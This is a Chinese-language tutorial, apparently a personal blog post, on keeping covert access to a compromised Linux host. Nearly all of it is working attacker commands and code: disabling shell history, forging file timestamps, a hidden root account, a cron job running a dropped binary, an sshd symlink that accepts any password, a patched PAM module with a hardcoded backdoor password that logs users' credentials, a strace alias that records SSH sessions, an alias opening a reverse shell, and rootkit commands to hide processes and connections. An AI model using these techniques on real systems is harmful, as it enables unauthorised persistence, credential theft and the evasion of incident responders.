上段实习的时候写过windows的,这里写一下Linux的
一、隐藏木马文件
1、关闭历史命令
在所有的操作前,为了防止被找到我们操作的文件,我们应该先关闭历史命令功能
在bash中使用set +o history
来关闭历史命令记录
set -o history
打开历史记录
2、隐藏文件
在Linux种.
开头的文件即为隐藏文件
一般使用ls
是看不到的,要使用ls -la
3、隐藏时间
在我们应急响应的时候经常,对于可疑文件的排查,经常会对时间进行校验,因此修改文件创建的时间是隐藏木马文件非常好用的方式
touch -r ../key.txt .hide.txt
将key.txt文件的时间复制过来,从而伪造时间
4、修改文件属性
root用户使用chattr +i
锁定,这样就不能直接删除了
解锁chattr -i
,提权之后用这个方法非常不错,因为这个方法对权限和排查者自身都有一定要求
二、创建用户
这种方法相对效果没那么好,在应急里面排查账户安全时尤其是对特权用户的管理更加严格
命令如下:
sudo useradd -u 0 -o -g root -G root -s /bin/bash -d /home/testuser testuser && sudo passwd testuser
另一种方式是写入/etc/passwd
文件
三、计划任务
计划任务
列出当前用户的所有 cron 作业,然后添加一个新的 cron 作业,以每分钟运行 /tmp/666.elf
文件并启动一个新的交互式 Bash shell,其中不读取任何用户配置文件,并将所有信息写到新的 crontab
注意要给文件执行权限
(crontab -l; echo '*/1 * * * * /bin/bash /tmp/666.elf; /bin/bash --noprofile -i') | crontab -
四、ssh
1、写入公钥ssh(容易被发现)
这里的具体操作可以看redis写入公钥ssh的部分
2、ssh软链接(容易被发现)
ssh软链接利用PAM配置文件,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息su,导致可以使用任意密码登录
这里要开启PAM进行身份验证,查看是否开启
cat /etc/ssh/sshd_config|grep UsePAM
没有开的话,如果提权到root,开启PAM即可,在/etc/ssh/sshd_config
里面加UsePAM yes
命令如下:
ln -sf /usr/sbin/sshd /tmp/su ; /tmp/su -oPort=7788
ssh root@ip -p 7788
如果不成功考虑防火墙规则
这个方法相当于用另一个端口启用sshd服务,容易被发现,而且这个方法重启就没了(配合计划任务使用)
3、PAM后门
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,通过修改PAM源码中认证的逻辑来达到权限维持
关闭 setenforce 0
rpm -qa | grep pam #查看 pam 版本号
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz #下载对应版本的 pam 源码包
tar -zxvf Linux-PAM-1.1.8
yum install gcc flex flex-devel -y #安装gcc编译器和flex库
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
编译./configure && make
备份原有的 pam_unix.so
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
复制新 PAM 模块到 /lib64/security/ 目录下
cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
五、Strace后门
通过记录用户ssh、su、sudo的操作,来权限维持,类似于alias后门
vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
这条命令当用户输入 ssh
命令时,实际执行的是 strace
命令,它将监视 ssh
的 read
、write
和 connect
调用,并将这些调用的输出记录在 /tmp/.ssh.log
文件中,相当于一个键盘记录的后门,能够记录ssh明文
六、Alias后门
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.x.x/7898 0>&1; };alerts'
执行ls命令后可以上线,但是ls命令执行不了,会被怀疑,而且关掉这个终端就没了
删除使用unalias
七、Rootkit后门
上面那些方法很多用netstat -nlpt
查看外联就能发现后门
而rootkit是一种能够隐藏自身和指定信息的恶意软件,通常与木马、后门等结合使用,对系统进行操纵和数据收集
推荐这个项目,这个项目可以实现文件和外联的隐藏
GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit
隐藏进程: /reptile/reptile_cmd hide
显示进程: /reptile/reptile_cmd show
隐藏连接: /reptile/reptile_cmd udp hide
显示连接: /reptile/reptile_cmd tcp show
隐藏文件:文件名中带reptile的都会被隐藏 如:reptile_file
排查rootkit :
rkhunter chkrootkit
方法不局限于这几个,并且方法之间可以结合在一起用效果更好